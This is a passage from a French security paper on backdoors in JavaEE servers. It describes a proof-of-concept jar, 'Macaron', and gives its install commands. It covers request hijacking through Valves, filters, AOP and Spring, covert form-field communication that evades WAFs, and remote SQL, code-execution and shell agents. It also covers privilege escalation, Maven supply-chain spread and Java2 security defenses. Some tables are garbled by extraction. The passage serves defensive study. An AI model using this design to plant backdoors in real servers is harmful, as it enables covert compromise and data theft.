catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

